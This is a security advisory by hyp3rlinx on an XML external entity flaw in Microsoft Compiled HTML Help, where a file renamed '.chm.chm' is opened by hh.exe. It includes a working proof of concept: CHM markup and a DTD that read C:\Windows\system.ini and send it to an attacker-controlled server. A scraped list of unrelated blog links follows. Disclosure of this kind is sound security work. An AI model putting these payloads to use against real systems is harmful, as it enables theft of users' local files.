[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-HTML-HELP-UNCOMPILED-CHM-FILE-XML-EXTERNAL-ENTITY-INJECTION.txt
[+] ISR: ApparitionSec

[Vendor]
www.microsoft.com

[Product]
Microsoft Compiled HTML Help "hh.exe"

Microsoft
Compiled HTML Help is a Microsoft proprietary online help format,
consisting of a collection of HTML pages, an index and other navigation
tools.
The files are compressed and deployed in a binary format with
the extension .CHM, for Compiled HTML. The format is often used for
software documentation.
CHM is an extension for the Compiled HTML file format, most commonly used by Microsoft's HTML-based help program.

[Vulnerability Type]
Uncompiled .CHM File XML External Entity Injection

[CVE Reference]
N/A

[Security Issue]
CHM
Files are usually created using Microsofts "HTML Help Workshop"
program. However, I find a way to bypass using this program and create
them easily by
simply adding double .chm extension to the file
".chm.chm". Compiled HTML Help "hh.exe" will then respect and open it
processing any JS/HTML/XML inside etc.
Compiled HTML Help is also
vulnerable to XML External Entity attacks allowing remote attackers to
steal and exfiltrate local system files.

Whats interesting about
this one is we can create the file without using the "Microsoft HTML
Help Workshop" program. Also, we can steal files without
having to use the "hhtctrl.ocx" ActiveX control CLASSID: 52a2aaae-085d-4187-97ea-8c30db990436 or other code execution methods.

While
CHM is already considered a "dangerous" file type and other type of
attacks have already been documented. I thought this was an interesting
way to
create CHM files "Uncompiled" bypassing the default creation steps while stealing local files in the process.

Note: User interaction is required to exploit this vulnerability.

[Exploit/POC]
1) python -m SimpleHTTPServer

2) "XXE.chm.chm"

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<Title>Uncompiled CHM File XXE PoC</Title>
</HEAD>
<BODY>
<xml>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE tastyexploits [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://localhost:81/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>
</xml>
</BODY>
</HTML>

3) "payload.dtd"  (hosted in python web-server dir port 8000 above)

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:81?%file;'>">
%all;

Open the "XXE.chm.chm" file and will exfil Windows "system.ini", attacker Server IP is set to localhost using port 81 for PoC.

Tested successfully Windows 7/10

[POC Video URL]
https://www.youtube.com/watch?v=iaxp1iBDWXY

[Network Access]
Remote

[Severity]
High

[Disclosure Timeline]
Vendor Notification: April 25, 2019
MSRC Response: "We determined that this behavior is considered to be by design"
July 16, 2019 : Public Disclosure

[+] Disclaimer
The
information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission
is hereby granted for the redistribution of this advisory, provided that
it is not altered except by reformatting it, and
that due credit is
given. Permission is explicitly given for insertion in vulnerability
databases and similar, provided that due credit
is given to the
author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility
for any damage caused
by the use or misuse of this information. The author prohibits any
malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

Microsoft Compiled HTML Help / Uncompiled .chm File XML External Entity的更多相关文章

  1. Microsoft Internet Explorer v11 XML External Entity Injection 0day

    [+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org[+] Source:  http://hyp3 ...

  2. XML External Entity Injection(XXE)

    写在前面 安全测试fortify扫描接口项目代码,暴露出标题XXE的问题, 记录一下.官网链接: https://www.owasp.org/index.php/XML_External_Entity ...

  3. XXE(XML External Entity attack)XML外部实体注入攻击

    导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...

  4. XML External Entity attack/XXE攻击

    XML External Entity attack/XXE攻击   1.相关背景介绍 可扩展标记语言(eXtensible Markup Language,XML)是一种标记语言,被设计用来传输和存 ...

  5. 【译】Attacking XML with XML External Entity Injection (XXE)

    原文链接:Attacking XML with XML External Entity Injection (XXE) XXE:使用XML外部实体注入攻击XML 在XML中,有一种注入外部文件的方式. ...

  6. XML External Entity attack

    解析外部xml给本地带来的安全隐患. https://en.wikipedia.org/wiki/XML_external_entity_attack An XML External Entity ( ...

  7. 4.XXE (XML External Entity Injection)

    XXE (XML External Entity Injection) 0x01 什么是XXE XML外部实体注入 若是PHP,libxml_disable_entity_loader设置为TRUE可 ...

  8. Fortify漏洞之XML External Entity Injection（XML实体注入）

    继续对Fortify的漏洞进行总结,本篇主要针对  XML External Entity Injection(XML实体注入) 的漏洞进行总结,如下: 1.1.产生原因: XML External ...

  9. Portswigger web security academy：XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

随机推荐

  1. python selenium chrome 实现自动化登录

    1.环境安装 selenium的开发文档网址(英语好的可以直接看这个,写的很详细):http://selenium-python.readthedocs.io/ 因为实现的时候使用的是谷歌浏览器,在运 ...

  2. mysql-connector-java（6.0以上）的时差问题

    一.背景 通过mybatis日志观察插入数据库的时间为当前时间,但是打开数据库表发现时间滞后了8个小时. 二.推论及解决 很容易猜到这是时区的问题. 三.最后找到的问题点如下: jdbc:mysql: ...

  3. 如何在真实串口驱动还未加载的情况下调试uboot?

    1. 先找出真实串口是什么型号 1.1 怎么找?笔者提供两种方案: 方案一: 若当前的板子支持dm,从uboot的dts找串口节点对应的compatible属性 方案二: 从linux内核的dts找串 ...

  4. 十二、导出python脚本

    一.为什么要导出? 导出成多语言脚本,方便二次开发 使用其他语言的test runner 使用自己最熟悉的语言做接口自动化测试 二.导出成python脚本 演示 导出成python的requesy脚本 ...

  5. mysql 某表某列支持 emoji

    ALTER TABLE `customer_user` MODIFY COLUMN `UserName`  varchar(30) CHARACTER SET utf8mb4 COLLATE utf8 ...

  6. 二进制和ASCII文件的区别

    二进制和ASCII文件的区别 觉得有用的话,欢迎一起讨论相互学习~Follow Me 版权声明:本文为CSDN博主「迂者-贺利坚」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出 ...

  7. httpcomponent框架MultipartEntityBuilder addTextBody中文乱码

    版本4.5.6 String url = "https://172.16.3.50:8111/api/tts/offline"; HttpPost httpPost = new H ...

  8. [LeetCode] 346. Moving Average from Data Stream 从数据流中移动平均值

    Given a stream of integers and a window size, calculate the moving average of all integers in the sl ...

  9. 可扩展标记语言XML之二：XML语言格式规范、文档组成

    大家好,小乐又来了,好久不见!这次接着上次可扩展标记语言XML之一:XML概念,作用,示例,继续讲述XML. 一.格式良好的 xml 1.语法规范: 1).必须有 XML 文档声明: <?xml ...

  10. Clean code 关于注释、函数、命名的感想

    最近在看代码整洁之道(Clean code)这本书,其实看的有点痛苦,因为越看就会越想自己写的代码是什么鬼?一些不知所云的命名,不整洁的代码格式,本想诠释代码的意思却添加了一段段废话,还有那些被强制加 ...